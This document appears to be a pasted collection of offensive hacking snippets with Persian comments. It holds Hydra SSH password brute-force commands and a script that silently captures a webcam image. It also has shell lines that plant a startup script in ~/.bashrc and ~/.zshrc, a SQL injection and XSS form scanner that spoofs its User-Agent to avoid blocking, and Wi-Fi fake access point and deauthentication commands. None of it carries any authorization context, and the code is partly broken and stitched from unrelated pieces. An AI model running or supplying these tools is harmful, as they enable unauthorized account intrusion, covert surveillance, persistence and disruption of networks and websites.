🧠 Factologey 💡

hydra -l admin -P passlist.txt ssh://192.168.1.100 -o results.txt

hydra -l <username> -P <password-list> -w 3 ssh://<IP>

hydra -L users.txt -P passlist.txt -M Targets.txt ssh

bashhydra -l <username> -P <password list> ssh://<IP>

hydra -l admin -P /address/to/password-list.txt ssh://192.168.1.100

python capture.py
pause 

import os
import sys
import subprocess


try:
    import cv2
except ImportError:
    print("🔍 OpenCV...")
    subprocess.check_call([sys.executable, "-m", "pip", "install", "opencv-python"])
    print("✅ OpenCV.")
    sys.exit()


cap = cv2.VideoCapture(0)

if not cap.isOpened():
    print("warning")
    sys.exit()


cv2.waitKey(1000)


ret, frame = cap.read()

if ret:
    file_name = "captured_image.jpg"
    cv2.imwrite(file_name, frame)
    print(f"✅ : {os.path.abspath(file_name)}")
else:
    print("❌ warning")


cap.release()
cv2.destroyAllWindows()


input("✅ Enter...")

echo '#!/bin/bash' > ~/hello.sh
echo 'echo "Hello"' >> ~/hello.sh

# دادن دسترسی اجرایی به اسکریپت
chmod +x ~/hello.sh

# اضافه کردن اجرای اسکریپت به تنظیمات استارتاپ
echo "~/hello.sh" >> ~/.bashrc

# اگر از Zsh استفاده می‌کنی، این خط هم اجرا بشه
echo "~/hello.sh" >> ~/.zshrc

from bs4 import BeautifulSoup

# تنظیم هدر برای جلوگیری از بلاک شدن توسط فایروال‌ها
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}

# لیست ورودی‌های مخرب برای تست SQL Injection و XSS
SQL_PAYLOADS = ["'", '"', "OR 1=1 --", "' OR '1'='1"]
XSS_PAYLOADS = ["<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>"]

def find_forms(url):
    """ پیدا کردن فرم‌های موجود در صفحه """
    response = requests.get(url, headers=HEADERS)
    soup = BeautifulSoup(response.text, "html.parser")
    return soup.find_all("form")

def test_sql_injection(url):
    """ تست SQL Injection روی فرم‌های سایت """
    forms = find_forms(url)
    for form in forms:
        for payload in SQL_PAYLOADS:
            data = {input_tag.get("name"): payload for input_tag in form.find_all("input") if input_tag.get("name")}
            action = form.get("action")
            full_url = url + action if action else url
            response = requests.post(full_url, data=data, headers=HEADERS)
            if "SQL syntax" in response.text or "mysql" in response.text.lower():
                print(f"[!] آسیب‌پذیری SQL Injection در {full_url} پیدا شد!")
                return

def test_xss(url):
    """ تست XSS روی فرم‌های سایت """
    forms = find_forms(url)
    for form in forms:
        for payload in XSS_PAYLOADS:
            data = {input_tag.get("name"): payload for input_tag in form.find_all("input") if input_tag.get("name")}
            action = form.get("action")
            full_url = url + action if action else url
            response = requests.post(full_url, data=data, headers=HEADERS)
            if payload in response.text:
                print(f"[!] آسیب‌پذیری XSS در {full_url} پیدا شد!")
                return

if name == "main":
    target_url = input("لطفاً آدرس سایت مورد نظر را وارد کنید: ")
    print("\n[+] در حال بررسی آسیب‌پذیری SQL Injection...")
    test_sql_injection(target_url)

    print("\n[+] در حال بررسی آسیب‌پذیری XSS...")
    test_xss(target_url)

    print("\n[+] تست امنیتی به پایان رسید.")

airbase-ng -e "Fake-AP" -c 6 wlan0mon

aireplay-ng --deauth 10 -a <BSSID> wlan0mon

aireplay-ng --deauth 50 -a <BSSID> -c <Client-MAC> wlan0mon